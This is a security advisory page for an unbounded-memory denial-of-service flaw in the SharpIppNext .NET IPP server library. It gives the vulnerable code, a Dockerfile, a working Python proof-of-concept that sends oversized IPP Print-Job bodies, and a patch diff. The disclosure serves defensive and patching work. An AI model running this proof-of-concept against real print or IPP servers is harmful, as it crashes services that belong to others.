
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 4.0.2
Patched in 4.1.0
Details
SharpIppNext's IppProtocol.ReadIppRequestAsync() unconditionally copies the entire attacker-supplied IPP document payload into an unbounded MemoryStream with no size limit. Because this behavior is enabled by default (ReadDocumentStream = true) and the official server documentation shows HttpContext.Request.Body being passed directly to ReceiveRequestAsync() without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.
[!NOTE] This vulnerability only affects server-side implementations (using
SharpIppServerto parse incoming IPP requests). It does not affect client-side implementations usingSharpIppClientor client-side request construction.
The vulnerable sink is in SharpIpp/Protocol/IppProtocol.cs:
// IppProtocol.cs:39 — enabled by default
public bool ReadDocumentStream { get; set; } = true;
// IppProtocol.cs:466–470 — no size cap on the copy
if (ReadDocumentStream)
{
message.Document = new MemoryStream();
await reader.BaseStream.CopyToAsync(message.Document); // unbounded
message.Document.Seek(0, SeekOrigin.Begin);
}
The full call chain from the public API to the vulnerable sink:
docs/Content/Server/index.md:6–11 — Official server example passes context.Request.Body (unauthenticated) to sharpIppServer.ReceiveRequestAsync(inputStream).SharpIpp/ISharpIppServer.cs:78 — Public API declaration: Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...).SharpIpp/SharpIppServer.cs:62–67 — ReceiveRequestAsync(Stream) overload delegates to ReceiveRawRequestAsync(stream).SharpIpp/SharpIppServer.cs:52–58 — ReceiveRawRequestAsync calls _ippProtocol.ReadIppRequestAsync(stream, ...).SharpIpp/Protocol/IppProtocol.cs:466–470 — ReadIppRequestAsync copies all remaining bytes after the IPP attribute section into a new MemoryStream() with no upper bound.The existing validator (IppRequestMessageValidator.ValidateStringLengthLimitsRule, IppRequestMessageValidator.cs:260) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.
Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit 185343e) was sent a 100 MB IPP document payload. The server responded docLength=104857600, confirming all 100 MB were buffered into a MemoryStream with no rejection.
1. Build and start the vulnerable server
# From the repository root (build context: parent of vuln-001/)
docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \
reports/pypiAi_973_danielklecha__SharpIppNext/
docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc
The PoC server (Program.cs) uses the default SharpIppServer (which uses IppProtocol with ReadDocumentStream = true) and exposes a single unauthenticated POST endpoint:
using SharpIpp;
var server = new SharpIppServer();
var app = WebApplication.Create();
app.MapPost("/", async ctx =>
{
var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);
ctx.Response.ContentType = "text/plain";
await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n");
});
app.Run("http://0.0.0.0:8631");
2. Send the crafted IPP request
python3 vuln-001/poc.py 127.0.0.1 8631 100
The PoC script (poc.py) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.
3. Expected output
[*] Target : http://127.0.0.1:8631/
[*] IPP header size : 72 bytes
[*] Document payload: 100 MB (104,857,600 bytes)
[*] Total request : 104,857,672 bytes
[*] Sending request...
[*] HTTP status : 200
[*] Response : docLength=104857600
[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.
[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)
Increasing doc_size_mb (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.
Recommended fix
Add a configurable maximum document size and throw client-error-request-entity-too-large when exceeded:
--- a/SharpIpp/Protocol/IppProtocol.cs
+++ b/SharpIpp/Protocol/IppProtocol.cs
+ public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;
if (ReadDocumentStream)
{
message.Document = new MemoryStream();
- await reader.BaseStream.CopyToAsync(message.Document);
+ await CopyDocumentStreamAsync(reader.BaseStream, message.Document,
+ message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);
message.Document.Seek(0, SeekOrigin.Begin);
}
This is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to ReceiveRequestAsync() or ReceiveRawRequestAsync() is vulnerable out of the box, because ReadDocumentStream defaults to true and no document size limit exists in the library.
An attacker with network access to the IPP endpoint can:
OutOfMemoryException, crashing the ASP.NET host process and making the printer/IPP service unavailable.Only consumers of SharpIppNext that expose an IPP server endpoint using SharpIppServer (e.g., print servers, document management systems, and IoT firmware) are affected. Applications acting purely as clients (SharpIppClient) to query printers or submit jobs are not affected.
Dockerfile# syntax=docker/dockerfile:1
# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS
#
# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire
# attacker-supplied IPP document payload into an unbounded MemoryStream.
#
# Affected code (IppProtocol.cs:39, 466-470):
# public bool ReadDocumentStream { get; set; } = true;
# ...
# message.Document = new MemoryStream();
# await reader.BaseStream.CopyToAsync(message.Document); // no size limit
#
# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)
# docker build -t sharpipp-dos-poc \
# -f vuln-001/Dockerfile .
#
# Usage:
# docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc
# python3 vuln-001/poc.py
# ---------------------------------------------------------------------------
# Build stage: compile the PoC server against the vulnerable SharpIpp library
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build
# Set up the vulnerable library build environment
WORKDIR /lib
# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled
# without TreatWarningsAsErrors (build toolchain compatibility)
RUN printf '<Project>\n <PropertyGroup>\n <Nullable>enable</Nullable>\n <LangVersion>latest</LangVersion>\n <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\n </PropertyGroup>\n</Project>\n' > Directory.Build.props
# Copy central package versions (required by SharpIpp netstandard2.0 target)
COPY repo/Directory.Packages.props ./
# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)
# IMPORTANT: source is copied unmodified; only the build config above is custom
COPY repo/SharpIpp/ ./SharpIpp/
# Set up and build the PoC web server
WORKDIR /app/server
COPY vuln-001/server/ ./
RUN dotnet restore server.csproj
RUN dotnet publish server.csproj -c Release -o /published
# ---------------------------------------------------------------------------
# Runtime stage: minimal ASP.NET 10 image
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/aspnet:10.0
WORKDIR /app
COPY --from=build /published ./
EXPOSE 8631
ENTRYPOINT ["dotnet", "server.dll"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded IPP Document Stream Buffering DoS
CVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)
Vulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-
controlled IPP document payload into a MemoryStream with no size limit:
if (ReadDocumentStream) // default: true
{
message.Document = new MemoryStream();
await reader.BaseStream.CopyToAsync(message.Document); // NO limit
message.Document.Seek(0, SeekOrigin.Begin);
}
An unauthenticated attacker sends a valid IPP header followed by an arbitrarily
large document body. The server buffers all bytes in memory, leading to OOM.
Usage:
python3 poc.py [host] [port] [doc_size_mb]
host Target host (default: 127.0.0.1)
port Target port (default: 8631)
doc_size_mb Document payload size in MB (default: 100)
Expected result:
Server responds with "docLength=<N>" where N equals doc_size_mb * 1024^2.
This confirms all bytes were buffered into MemoryStream with no size check.
"""
import sys
import struct
import http.client
import time
def build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes:
"""Encode a single IPP attribute."""
return (
bytes([tag])
+ struct.pack(">H", len(name))
+ name
+ struct.pack(">H", len(value))
+ value
)
def build_ipp_request(doc_size_bytes: int) -> bytes:
"""
Build a minimal valid IPP/2.0 Print-Job request.
Wire format:
[2] version-number 0x0200 (IPP 2.0)
[2] operation-id 0x0002 (Print-Job)
[4] request-id 0x00000001
[1] delimiter 0x01 (operation-attributes-tag)
[N] attributes attributes-charset + attributes-natural-language
[1] delimiter 0x03 (end-of-attributes-tag)
[M] document-data <arbitrary payload — the attack surface>
"""
# IPP header: version 2.0, Print-Job, request-id 1
header = struct.pack(">HHI", 0x0200, 0x0002, 0x00000001)
# Operation attributes group
attrs = bytes([0x01]) # operation-attributes-tag
attrs += build_ipp_attr(0x47, b"attributes-charset", b"utf-8")
attrs += build_ipp_attr(0x48, b"attributes-natural-language", b"en")
attrs += bytes([0x03]) # end-of-attributes-tag
# Document payload: attacker-controlled bytes after end-of-attributes
# CopyToAsync will buffer ALL of these into a MemoryStream
document = b"X" * doc_size_bytes
return header + attrs + document
def run_poc(host: str, port: int, doc_size_mb: int) -> bool:
"""
Send the crafted IPP request and verify the server echoes the full docLength.
Returns True (PASS) if the server confirms unbounded buffering.
"""
doc_size_bytes = doc_size_mb * 1024 * 1024
payload = build_ipp_request(doc_size_bytes)
ipp_header_len = len(payload) - doc_size_bytes
print(f"[*] Target : http://{host}:{port}/")
print(f"[*] IPP header size : {ipp_header_len} bytes")
print(f"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)")
print(f"[*] Total request : {len(payload):,} bytes")
print(f"[*] Expected docLength in response: {doc_size_bytes}")
print()
print(f"[*] Sending request...")
t0 = time.time()
try:
conn = http.client.HTTPConnection(host, port, timeout=180)
conn.request(
"POST",
"/",
body=payload,
headers={
"Content-Type": "application/ipp",
"Content-Length": str(len(payload)),
},
)
response = conn.getresponse()
body = response.read().decode("utf-8", errors="replace").strip()
elapsed = time.time() - t0
except Exception as exc:
print(f"[FAIL] Connection error: {exc}")
return False
print(f"[*] HTTP status : {response.status}")
print(f"[*] Response : {body}")
print(f"[*] Round-trip : {elapsed:.2f}s")
print()
expected = f"docLength={doc_size_bytes}"
if expected in body:
print(
f"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) "
f"into MemoryStream with NO size limit."
)
print(
f"[PASS] Vulnerable sink: IppProtocol.cs:469 "
f"reader.BaseStream.CopyToAsync(message.Document)"
)
return True
else:
print(f"[FAIL] Expected '{expected}' in response, got: {body!r}")
return False
def main() -> None:
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631
doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100
success = run_poc(host, port, doc_size_mb)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
EPSS, exploit probability
Low0.62%
estimated chance of real-world exploitation in the next 30 days, higher than 50.7% of every CVE FIRST.org scores
Refreshed 11/19/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More nuget advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.